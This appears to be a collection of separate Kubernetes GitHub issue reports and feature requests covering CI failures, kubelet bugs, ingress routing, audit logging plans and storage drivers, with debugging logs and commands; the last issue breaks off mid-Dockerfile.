currently, kubernetes supports to different formats of data  both for communication at the api level and as a storage type :\r - json\r - protobufs\r \r we introduced protobufs for performance reasons and they solved a lot of our problems.\r \r if at some point it will appear that protobufs are not enough, we may consider evaluating flatbuffer:\r https://google.github.io/flatbuffers/index.html\r \r according to their documentation, they seeom to be even more efficient and use less memory allocations  which seem to be our main problem now .\r \r @k8s-mirror-scalability-feature-requests @k8s-mirror-api-machinery-feature-rqusts

while working on  45564, i ran into an issue where  ./hack/verify-pkg-names.sh  was failing on generated code.  what is happening is whenever you have two separate packages with the same name, codegen will attempt to create a unique alias by walking up the package hierarchy and concatenating the directory names with a  _ .    but   this ends up causing a verification failure because  _  _\ breaks go conventions\ _:\r \r    \r binary file pkg/apis/admission/v1alpha1/zz_generated.conversion.go matches\r !!! some package aliases break go conventions.\r to fix these errors, do not use capitalized or underlined characters\r in pkg aliases. refer to https://blog.golang.org/package-names for more info.\r    \r \r for example, in my pr  pkg/apis/admission/v1alpha1/zz_generated.conversion.go  ends up with  pkg_admission  as a package alias due to both  k8s.io/apiserver/pkg/admission  and  k8s.io/kubernetes/pkg/apis/admission .\r \r i didn't have time to look into this much further than finding  where in this might be happening  https://github.com/kubernetes/kubernetes/blob/master/vendor/k8s.io/gengo/generator/import_tracker.go l38 .

failure cluster  b5cef46ee8806414caa8  https://go.k8s.io/triage b5cef46ee8806414caa8        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    42 jobs failed,    271 builds failed. failure stats cover 1 day time range '28 jun 2017 22:38 utc' to '29 jun 2017 22:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 42 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke | 17 |  29 jun 2017 21:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11646  | | ci-kubernetes-e2e-gce-multizone | 15 |  29 jun 2017 19:29 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/8506  | | ci-kubernetes-e2e-gce-etcd3 | 13 |  29 jun 2017 21:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/11902  |        previously closed issues for this cluster:  45380    current status  https://go.k8s.io/triage b5cef46ee8806414caa8

what happened  :\r we frequently see flakes caused during cluster creation that have cascading effects on other e2es. the  dns e2e  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network/dns.go  flakes quite frequently and does give much context other than a timeout.\r \r ex.\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:437\r expected error:\r     < errors.errorstring | 0xc4203608c0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:219\r    \r relevant flake:  46185\r \r   what you expected to happen  :\r e2e test should attempt to surface more information about the cluster state or be refactored to fail earlier

 \r pull-kubernetes-bazel-test failed testing staging/src/k8s.io/apiserver/pkg/registry/generic/registry:go_default_test:\r \r    \r i1031 11:53:23.331  ==================\r i1031 11:53:23.331  warning: data race\r i1031 11:53:23.332  read at 0x00c42038ce81 by goroutine 144:\r i1031 11:53:23.332    google.golang.org/grpc/transport.  stream .bytesreceived  \r i1031 11:53:23.332        vendor/google.golang.org/grpc/transport/transport.go:359 +0x8a\r i1031 11:53:23.333    google.golang.org/grpc.  clientstream .finish  \r i1031 11:53:23.333        vendor/google.golang.org/grpc/stream.go:472 +0x8ac\r i1031 11:53:23.333    google.golang.org/grpc.newclientstream.func3  \r i1031 11:53:23.333        vendor/google.golang.org/grpc/stream.go:257 +0x2e4\r i1031 11:53:23.334  \r i1031 11:53:23.334  previous write at 0x00c42038ce81 by goroutine 127:\r i1031 11:53:23.334    google.golang.org/grpc/transport.  http2client .operateheaders  \r i1031 11:53:23.334        vendor/google.golang.org/grpc/transport/http2_client.go:963 +0x93\r i1031 11:53:23.335    google.golang.org/grpc/transport.  http2client .reader  \r i1031 11:53:23.335        vendor/google.golang.org/grpc/transport/http2_client.go:1080 +0x832\r i1031 11:53:23.335  \r i1031 11:53:23.335  goroutine 144  running  created at:\r i1031 11:53:23.336    google.golang.org/grpc.newclientstream  \r i1031 11:53:23.336        vendor/google.golang.org/grpc/stream.go:240 +0x1401\r i1031 11:53:23.336    github.com/grpc-ecosystem/go-grpc-prometheus.streamclientinterceptor  \r i1031 11:53:23.336        vendor/github.com/grpc-ecosystem/go-grpc-prometheus/client.go:31 +0x161\r i1031 11:53:23.337    google.golang.org/grpc.newclientstream  \r i1031 11:53:23.337        vendor/google.golang.org/grpc/stream.go:103 +0x10e\r i1031 11:53:23.337    github.com/coreos/etcd/etcdserver/etcdserverpb.  watchclient .watch  \r i1031 11:53:23.338        vendor/github.com/coreos/etcd/etcdserver/etcdserverpb/rpc.pb.go:2413 +0xe9\r i1031 11:53:23.338    github.com/coreos/etcd/clientv3.  watchgrpcstream .openwatchclient  \r i1031 11:53:23.338        vendor/github.com/coreos/etcd/clientv3/watch.go:763 +0x173\r i1031 11:53:23.338    github.com/coreos/etcd/clientv3.  watchgrpcstream .newwatchclient  \r i1031 11:53:23.339        vendor/github.com/coreos/etcd/clientv3/watch.go:684 +0x632\r i1031 11:53:23.339    github.com/coreos/etcd/clientv3.  watchgrpcstream .run  \r i1031 11:53:23.339        vendor/github.com/coreos/etcd/clientv3/watch.go:416 +0x126\r i1031 11:53:23.340  \r i1031 11:53:23.340  goroutine 127  running  created at:\r i1031 11:53:23.340    google.golang.org/grpc/transport.newhttp2client  \r i1031 11:53:23.340        vendor/google.golang.org/grpc/transport/http2_client.go:250 +0x1268\r i1031 11:53:23.341    google.golang.org/grpc/transport.newclienttransport  \r i1031 11:53:23.341        vendor/google.golang.org/grpc/transport/transport.go:439 +0xb1\r i1031 11:53:23.341    google.golang.org/grpc.  addrconn .resettransport  \r i1031 11:53:23.341        vendor/google.golang.org/grpc/clientconn.go:829 +0x43a\r i1031 11:53:23.342    google.golang.org/grpc.  clientconn .resetaddrconn.func1  \r i1031 11:53:23.342        vendor/google.golang.org/grpc/clientconn.go:612 +0x41\r i1031 11:53:23.342  ==================\r i1031 11:53:23.343  2017-10-31 11:53:11.265372 i | integration: terminating 555224278513579410  unix://localhost:5552242785135794100 \r i1031 11:53:23.343  2017-10-31 11:53:11.287988 i | integration: terminated 555224278513579410  unix://localhost:5552242785135794100 \r i1031 11:53:23.343  --- fail: teststorewatch  0.40s \r    \r \r full logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54856/pull-kubernetes-bazel-test/13345/

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i found azure cloud provider will always sleep 25 seconds after creating a new azure storage account:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l531\r actually it's not necessary now, since it's already using sync way to create a storage account:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l531\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r below are the logs for creating a storage account, you could see create account actually takes 18s, and sleep 25s which is not necessary now.\r    \r i1201 06:41:22.486663       1 azure_blobdiskcontroller.go:522  azuredisk - creating storage account pvc3329812692002 type standard_lrs\r i1201 06:41:22.486810       1 azure_blobdiskcontroller.go:531  azuredisk - creating storage account pvc3329812692002 type standard_lrs begin to wait\r i1201 06:41:40.440005       1 azure_blobdiskcontroller.go:533  azuredisk - creating storage account pvc3329812692002 type standard_lrs end wait\r i1201 06:41:40.440030       1 azure_blobdiskcontroller.go:551  azuredisk - storage account pvc3329812692002 was just created, allowing time before polling status\r i1201 06:42:05.440176       1 azure_blobdiskcontroller.go:553  azuredisk - storage account pvc3329812692002 was just created, allowing time before polling status, end wait\r    \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

i have a ha master cluster setup where it was initialized using kubeadm. it appears that the noschedule taint for them were removed and now there are pods being being scheduled on them which i don't want to run. is there a way to retaint the nodes so that they serve as master only and not handle any workloads?

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : kubelet paniced due to a concurrent map write\r \r   what you expected to happen  : kubelet should not panic\r \r   how to reproduce it  as minimally and precisely as possible   : i'm seeing this running hack/ci/e2e.sh in https://sigs.k8s.io/kind\r \r   anything else we need to know?  : logs are here: \r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-kind-conformance-parallel/4622\r \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kind-conformance-parallel/4622/artifacts/logs/kind-1-control-plane/kubelet.log\r \r   environment  :  kind  cluster  kubernetes running in a docker container \r - kubernetes version  use  kubectl version  :   v1.14.0-alpha.0.752+3156df3e806cb8 \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : ubuntu  in a container \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r <!-- do not edit below this line -->\r 

\r   what happened  :\r when running conformance test suite using ci-kubernetes-conformance-image job in the ci process the following test fails as it tries to calculate the number of worker nodes incorrectly.\r  sig-apps  daemon set  serial  should rollback without unnecessary restarts  conformance  \r \r   what you expected to happen  :\r the test must read the number nodes correctly so that the checks in the test will pass\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/apps/daemon_set.go:425\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the  ci-kubernetes-conformance-image in a docker container to initiate the 2 node cluster using ./../test-infra/experiment/kind-conformance-e2e.sh\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14\r - cloud provider or hardware configuration: amd64\r \r  /area conformance\r  /release-note-none\r 

in the version 1 coreos install guide here:  http://kubernetes.io/v1.0/docs/getting-started-guides/coreos/coreos_multinode_cluster.html  there are cloudconfig files  master.yaml and node.yaml  that are written to pull the kubernetes 0.19.3 release. could these be updated to use version 1? i got a cluster set up only to realize at the very end that it was the wrong version and i had wasted all my time.

see  networking features wiki  https://github.com/kubernetes/kubernetes/wiki/networking-features-under-development  for more details and related links

iic, most of the iscsi targets provide multipathing using  multiple iscsi target portals  for the same  iqn  , thus multiple paths through initiator connections in each of it. however, kube  iscsi  plugin is not capable of receiving multiple tps in its volume spec, thus lack this functionality. if iscsi volume spec.target portal can receive an array of  ips  or  ips:port  instead of single value, the mounter can try to login in each path and get the mpath/mpio device created in the kubelet. but this require an api change.   \r \r any thoughts on this ?  \r

failure cluster  21478c8e0b5922f8c4b7  https://go.k8s.io/triage 21478c8e0b5922f8c4b7        error text:     error during /workspace/kubetest --test --test_args=--ginkgo.focus=kubectl --v=true --check-version-skew=false: exit status 1           failure cluster statistics: 1 tests failed,    5 jobs failed,    80 builds failed. failure stats cover 1 day time range '26 jun 2017 23:52 utc' to '27 jun 2017 23:52 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | skewtest | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-master-new-gci-kubectl-skew | 21 |  27 jun 2017 22:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-gci-kubectl-skew/95  | | ci-kubernetes-e2e-gke-master-new-cvm-kubectl-skew | 20 |  27 jun 2017 22:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-cvm-kubectl-skew/95  | | ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew | 19 |  27 jun 2017 22:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew/95  |   current status  https://go.k8s.io/triage 21478c8e0b5922f8c4b7

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r  in  48402 a new mount check was added to handle the case of bind mounts on directories  and not actual mount points .  the new check has to iterate through all the mounts on the system, which could be time-consuming if there are many mounts.  it may be worth looking into caching the mounts to optimize this check.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r /area api \r /area apiserver \r  \r  \r   what happened  :\r \r i was able to apply a daemonset  works for others as well  with an invalid api version\r    \r kind: daemonset\r apiversion: extensions/v2beta1\r    \r \r    \r kind: daemonset\r apiversion: extensions/v2beta2\r    \r \r   what you expected to happen  :\r \r an error should be returned. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply an update to a resource with an incorrect version like above.\r \r   anything else we need to know?  :\r \r the api version on the object stored is correct but this could cause problems down the road if you accidentally start using a newer version when it becomes available.\r    \r $ kubectl -n kube-system get ds canal -oyaml\r apiversion: extensions/v1beta1\r kind: daemonset\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.x\r

this is a continuation of the work on the  advanced auditing feature  https://github.com/kubernetes/features/issues/22 \r \r umbrella issue for 1.11 release: https://github.com/kubernetes/kubernetes/issues/60392\r \r    api-related changes\r \r - ~graduate api to stable~\r   - moved to 1.11\r -  x  integration with admission\r   -  x   add annotations to advanced audit api  https://github.com/kubernetes/kubernetes/pull/58806  by @caoshufeng \r   - ~ add rbac information to audit logs  https://github.com/kubernetes/kubernetes/pull/58807  by @caoshufeng~\r     - moved to 1.11\r   - ~ add podsecuritypolicy admission information to audit logs  https://github.com/kubernetes/kubernetes/issues/56209 ~\r     - moved to 1.11\r   - ~what about webhooks? we want to answer: who injected this side-car container?~\r     - moved to 1.11\r -  x   audit policy supports pattern matching  https://github.com/kubernetes/kubernetes/issues/55305 \r   - @hzxuzhonghu is working on this in https://github.com/kubernetes/kubernetes/pull/55306\r \r    bugfixes and improvements\r \r -  x   introduce buffering for the log backend to fix file writing bottleneck  https://github.com/kubernetes/kubernetes/issues/53006 \r   - @crassirostris is taking over this work from @hzxuzhonghu in https://github.com/kubernetes/kubernetes/pull/60076 and https://github.com/kubernetes/kubernetes/pull/60237\r -  x   restore audit logging in the scalability tests  https://github.com/kubernetes/kubernetes/issues/53020 \r   - @crassirostris is working on this in https://github.com/kubernetes/test-infra/pull/7000\r -  x   audit rule matching logic incorrect when user attribute is nil  https://github.com/kubernetes/kubernetes/issues/59331 \r   - @caoshufeng is working on this. pr: https://github.com/kubernetes/kubernetes/pull/59398\r - ~let a user choose an output api version~\r   - moved to 1.11\r - ~don't duplicate responsestatus: https://github.com/kubernetes/kubernetes/issues/60108~\r   - moved to 1.11\r - ~ optional   invalid api group for delete operations  https://github.com/kubernetes/kubernetes/issues/57829 ~\r   - moved to 1.11\r - ~ optional   always retry audit webhook  https://github.com/kubernetes/kubernetes/issues/55621 ~\r   - moved to 1.11\r \r    policy changes\r \r - ~ optional   gce audit policy should be made re-usable by other setups  https://github.com/kubernetes/kubernetes/issues/53321 ~\r   - moved to 1.11\r - ~ optional  audit policy should be tested  e.g. that it includes all core resources,  more context  https://github.com/kubernetes/kubernetes/issues/52265 issuecomment-329243972  ~\r   - moved to 1.11\r \r    documentation\r \r @crassirostris is working on this in https://github.com/kubernetes/website/pull/7679\r \r -  x  add a deprecation warning to the legacy audit system\r -     describe setting up auditing in multi-apiserver setup\r -     describe setting up throttling parameters depending on the kubernetes deployment\r -     specify behavior of patch requests: https://github.com/kubernetes/kubernetes/issues/60110\r \r    to discuss\r \r - ~ optional   auditing federation setups  https://github.com/kubernetes/federation/issues/213 ~\r   - moved to 1.11\r -  x  ~auditing multi-apiserver setups~\r   - already supported at some degree. additional features to follow after v1\r \r /cc @sttts @soltysh @tallclair @ericchiang @caoshufeng @hzxuzhonghu @piosz \r \r feel free to add what's missing

\r   is this a bug report or feature request?  : feature\r \r  \r \r implement instanceshutdownbyproviderid to aws. instanceshutdownbyproviderid returns true if the instance is in safe state to detach volumes. note: if instance is deleted we should not return error.

when using json-file logging, docker stores logs in  /var/lib/docker/containers/<containerid>/<containerid>-json.log .  this is in the imagefs.  however in the eviction code, we account log size as part of the nodefs.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/eviction/helpers.go l1012-l1017\r \r this results in wrongful evictions in the case that the size of the logs approaches nodefs capacity, which is a different filesystem.\r \r in fact, we can get  negative  values for available:\r    \r helpers.go:819  eviction manager: observations: signal=allocatablenodefs.available, available: -1566644639, capacity: 4086mi\r    \r \r @derekwaynecarr @dashpole \r

 \r   \r   what happened  :\r \r  kubectl exec pod sleep infinity  exits after 240 minutes of inactivity\r \r   what you expected to happen  :\r \r session stays up as long as pod is up and apiserver/kubelet is not restarted\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r time kubectl exec pod sleep infinity\r ...\r real\t241m27.721s\r user\t0m2.444s\r sys\t0m0.447s\r    \r \r   anything else we need to know?  :\r \r i grepped kubernetes and go sources for  240  or  14400  , but didn't find anything which might be related :-/\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r \r   \r   description  :\r \r when replacing nodeselector with nodeaffinity predicates, it import 400+ files ... ; it's better to minimized the dependency of scheduler algorithm which we'd like to be used by other project.\r \r xref: https://github.com/kubernetes-incubator/kube-arbitrator/pull/310

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r     bug report  \r \r  \r   what happened  :\r when applied to kubelet 1.11.3, the pod max pid limit   --pod-max-pids=2048 --feature-gates=supportpodpidslimit=true   is not inherited by pod containers:\r \r  docker ps --quiet --all | xargs docker inspect --format '{{ .name }}: pidslimit={{ .hostconfig.pidslimit }}'| grep pidslimit=0 \r \r > /k8s_proc-dg-backing_proc-dg-backing-6f5f85fd95-24wwj_kwiebegs_4f33a978-bc19-11e8-8e28-005056acdbbd_0:   pidslimit=0  \r > /k8s_procdg-postgres_procdg-postgres-66954db76-b6zsf_kwiebegs_4f2662bc-bc19-11e8-8e28-005056acdbbd_0:   pidslimit=0  \r > /k8s_pod_proc-dg-backing-6f5f85fd95-24wwj_kwiebegs_4f33a978-bc19-11e8-8e28-005056acdbbd_0:   pidslimit=0  \r \r   what you expected to happen  :\r all pod containers started by kubelet should be limited to, and report, the same number of pids as passed to kubelet  2048 in the above example,  --pod-max-pids=2048  \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  cordon and drain  https://kubernetes.io/docs/reference/kubectl/cheatsheet/ interacting-with-nodes-and-cluster  the target worker node\r 1. shutdown kubelet and docker\r 1. add  --pod-max-pids=2048 --feature-gates=supportpodpidslimit=true   to kubelet's startup service flags \r 1. restart kubelet and docker\r 1. confirm the pid limit flags are active:  ps -ef | grep kubelet \r 1.  uncorden  https://kubernetes.io/docs/reference/kubectl/cheatsheet/ interacting-with-nodes-and-cluster  the node\r 1. query the pidslimit of all containers on the node and visually inspect those containers started by kubelet   docker ps --quiet --all | xargs docker inspect --format '{{ .name }}: pidslimit={{ .hostconfig.pidslimit }}'| grep pidslimit=0 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: on-premise esxi/vmware platform \r - os  e.g. from /etc/os-release : opensuse leap 15.1\r - kernel  e.g.  uname -a  : 4.18.7\r - install tools: kubeadm\r - others:\r

<!--\r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r kubernetes version: 1.9.11\r coredns version: coredns-1.2.6\r \r ! image  https://user-images.githubusercontent.com/13477384/55771865-476a2180-5abc-11e9-9ba1-7d469a0c51ca.png \r \r coredns error\r ! image  https://user-images.githubusercontent.com/13477384/55771947-b2b3f380-5abc-11e9-9a59-8cc8afb334e4.png \r \r ! image  https://user-images.githubusercontent.com/13477384/55771991-e5f68280-5abc-11e9-9bd4-f670250d5d68.png \r \r \r other svc is normal\r please help me\r \r

it would be great if we could grep logs like /var/log/kern.log for some known error messages as we upload them to gcs, and dump the output in the jenkins e2e build information. i imagine this working like:      {   \ /var/log/kern\ : \ hung_task_panic. \ ,   \ /var/log/kubelet.log\ : \ foo\ , }      this would be especially helpful in debugging larger clusters, because today i think we club several errors under, say, \ container runtime is down\  when it could be any number of issues. we don't want to put this code into something like the kubelet.

when starting kube-apiserver or other kube bins, if we specify a dir to log by flag  --log-dir  but the dir doesn't exist, the dir cannot be created automatically and then nothing will be logged.   from the users' perspective  at least mine , they may think kube should create the dir they specified if not exist, else they will lose the log.  if the dir should be created first if not exist, is it the responsibility of kube or glog to do this?

this is cross-posted on stackoverflow  http://stackoverflow.com/questions/40518095/gce-ingress-with-routes-always-falls-back-to-default-http-backend . however, i am also writing here because this may be a bug and if not may lead to better documentation or understanding of how ingress works. \r \r   kubernetes version  : 1.4.5\r \r   environment  :\r -   cloud provider or hardware configuration  : default gke cluster managed by google\r -   os    e.g. from /etc/os-release : i am using macos sierra\r \r i have a very simple service with  type: nodeport . it only returns some text on  /info . i am using the default gke ingress controller  the l7 google load balancer - https://github.com/kubernetes/contrib/blob/master/ingress/controllers/gce  with tls. if i use the following ingress everything works as expected:\r \r working ingress\r ---------------\r \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: global-ingress\r       namespace: global\r       annotations:\r         kubernetes.io/ingress.allow-http: \ false\ \r     spec:\r       tls:\r       - secretname: tls-secret\r       backend:\r         servicename: gate-front\r         serviceport: 80\r \r ---\r \r     curl -k https://130.211.39.140/info\r     pod: gate-front-1871107570-ue07p\r     ip: 10.0.2.26\r     req: /info\r \r ---\r \r     $ kubectl describe ing\r     name:\t\t\tglobal-ingress\r     namespace:\t\tglobal\r     address:\t\t130.211.39.140\r     default backend:\tgate-front:80  10.0.2.25:8080,10.0.2.26:8080 \r     tls:\r       tls-secret terminates\r     rules:\r       host\tpath\tbackends\r       ----\t----\t--------\r        \t  \tgate-front:80  10.0.2.25:8080,10.0.2.26:8080 \r     annotations:\r       backends:\t\t\t{\ k8s-be-31966--f3f0bf21d171a625\ :\ healthy\ }\r       https-forwarding-rule:\tk8s-fws-global-global-ingress--f3f0bf21d171a625\r       https-target-proxy:\t\tk8s-tps-global-global-ingress--f3f0bf21d171a625\r       url-map:\t\t\tk8s-um-global-global-ingress--f3f0bf21d171a625\r \r broken ingress\r --------------\r \r however, if i introduce a rule and leave out the default backend, all requests return  default backend - 404 . \r \r \r     apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: global-ingress\r       namespace: global\r       annotations:\r         kubernetes.io/ingress.allow-http: \ false\ \r     spec:\r       tls:\r       - secretname: tls-secret\r       rules:\r       - http:\r           paths:\r           - path: /gate\r             backend:\r               servicename: gate-front\r               serviceport: 80\r \r ---\r     curl -k https://130.211.33.150/gate/info\r     default backend - 404\r \r ---\r \r     $ kubectl describe ing\r     name:\t\t\tglobal-ingress\r     namespace:\t\tglobal\r     address:\t\t130.211.33.150\r     default backend:\tdefault-http-backend:80  10.0.2.3:8080 \r     tls:\r       tls-secret terminates\r     rules:\r       host\tpath\tbackends\r       ----\t----\t--------\r        \r         \t/gate \tgate-front:80  <none> \r     annotations:\r       https-forwarding-rule:\tk8s-fws-global-global2-ingress--f3f0bf21d171a625\r       https-target-proxy:\t\tk8s-tps-global-global2-ingress--f3f0bf21d171a625\r       url-map:\t\t\tk8s-um-global-global2-ingress--f3f0bf21d171a625\r       backends:\t\t\t{\ k8s-be-31966--f3f0bf21d171a625\ :\ healthy\ ,\ k8s-be-32552--f3f0bf21d171a625\ :\ healthy\ }\r \r if i add hosts and use  curl -k --resolve ...  i get the same behaviour. \r \r i went through the following documentation and examples:\r \r - http://kubernetes.io/docs/user-guide/ingress/\r - https://github.com/kubernetes/contrib/blob/master/ingress/controllers/gce/readme.md\r \r can anyone shed some light on this? \r \r

bug report  \r \r see https://github.com/openshift/origin/issues/12133 for original bug report  copying here as needs to be fixed in kubernetes .\r \r   what happened  :\r \r readiness & liveness checks fails:\r \r     readiness probe failed: get https://172.17.0.7:8443/health: remote error: tls: handshake failure\r \r where curl succeeds:\r \r    \r $ curl -vvv -k https://172.17.0.7:8443/health\r \r     trying 172.17.0.7...\r   tcp_nodelay set\r   connected to 172.17.0.7  172.17.0.7  port 8443   0 \r   alpn, offering http/1.1\r   cipher selection: all:!export:!export40:!export56:!anull:!low:!rc4:@strength\r   successfully set certificate verify locations:\r     cafile: /home/jdyson/.linuxbrew/etc/openssl/cert.pem\r   capath: none\r   tlsv1.2  out , tls header, certificate status  22 :\r   tlsv1.2  out , tls handshake, client hello  1 :\r   tlsv1.2  in , tls handshake, server hello  2 :\r   tlsv1.2  in , tls handshake, certificate  11 :\r   tlsv1.2  in , tls handshake, server key exchange  12 :\r   tlsv1.2  in , tls handshake, server finished  14 :\r   tlsv1.2  out , tls handshake, client key exchange  16 :\r   tlsv1.2  out , tls change cipher, client hello  1 :\r   tlsv1.2  out , tls handshake, finished  20 :\r   tlsv1.2  in , tls change cipher, client hello  1 :\r   tlsv1.2  in , tls handshake, finished  20 :\r   ssl connection using tlsv1.2 / dhe-rsa-aes256-gcm-sha384\r   alpn, server did not agree to a protocol\r   server certificate:\r    subject: cn=spring-boot-webmvc.myproject.svc\r    start date: dec  2 14:14:56 2016 gmt\r    expire date: dec  2 14:14:57 2018 gmt\r    issuer: cn=openshift-service-serving-signer@1480333384\r    ssl certificate verify result: self signed certificate in certificate chain  19 , continuing anyway.\r > get /health http/1.1\r > host: 172.17.0.7:8443\r > user-agent: curl/7.50.3\r > accept:  / \r > \r < http/1.1 200 \r < x-application-context: application:8443\r < content-type: application/json;charset=utf-8\r < transfer-encoding: chunked\r < date: sun, 04 dec 2016 20:09:45 gmt\r < \r   curl_http_done: called premature == 0\r   connection  0 to host 172.17.0.7 left intact\r {\ status\ :\ up\ ,\ diskspace\ :{\ status\ :\ up\ ,\ total\ :10725883904,\ free\ :10238775296,\ threshold\ :10485760}}\r    \r \r   what you expected to happen  :\r \r readiness & liveness probes should succeed.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a spring boot deployment with tls enabled, without specifying cipher suites so defaults are used.\r \r   anything else do we need to know  :\r \r after updating cipher suites to a more modern set, readiness & liveness probes succeed. go's default cipher suites are obviously stricter  more modern  than java's.\r \r as probes already disable cert verification, can we also relax cipher requirements?

feature request   \r \r     environment    \r official  hyperkube image  \r     desired feature    \r \r current version of rbd client embedded in the image is:\r $ root@dd1f6792540c:/  rbd --version\r ceph version 0.80.7  6c0127fcb58008793d3c8b62d925bc91963672a3 \r \r it would be great to update the client to support ceph servers in jewel version.\r it provides image-type 2 compatibility, note that image-type 1 are already flagged deprecated.\r type 2 ceph image format provides multiple features like snapshots or cloning.\r \r also it supports   straw2   for server side ceph disk format. which is more optimal than the previous straw mode especially in large ceph cluster.\r \r     other information    \r i made some testings. seems like all features are still functionnal after upgrading the rbd ceph client.\r anyone from  to review this update?\r i've done this for my hyperkube image to confirm:\r \r    \r   copyright 2016 the kubernetes authors.\r  \r   licensed under the apache license, version 2.0  the \ license\  ;\r   you may not use this file except in compliance with the license.\r   you may obtain a copy of the license at\r  \r       http://www.apache.org/licenses/license-2.0\r  \r   unless required by applicable law or agreed to in writing, software\r   distributed under the license is distributed on an \ as is\  basis,\r   without warranties or conditions of any kind, either express or implied.\r   see the license for the specific language governing permissions and\r   limitations under the license.\r \r from baseimage\r \r   if we're building for another architecture than amd64, the cross_build_ placeholder is removed so e.g. cross_build_copy turns into copy\r   if we're building normally, for amd64, cross_build lines are removed\r cross_build_copy qemu-arch-static 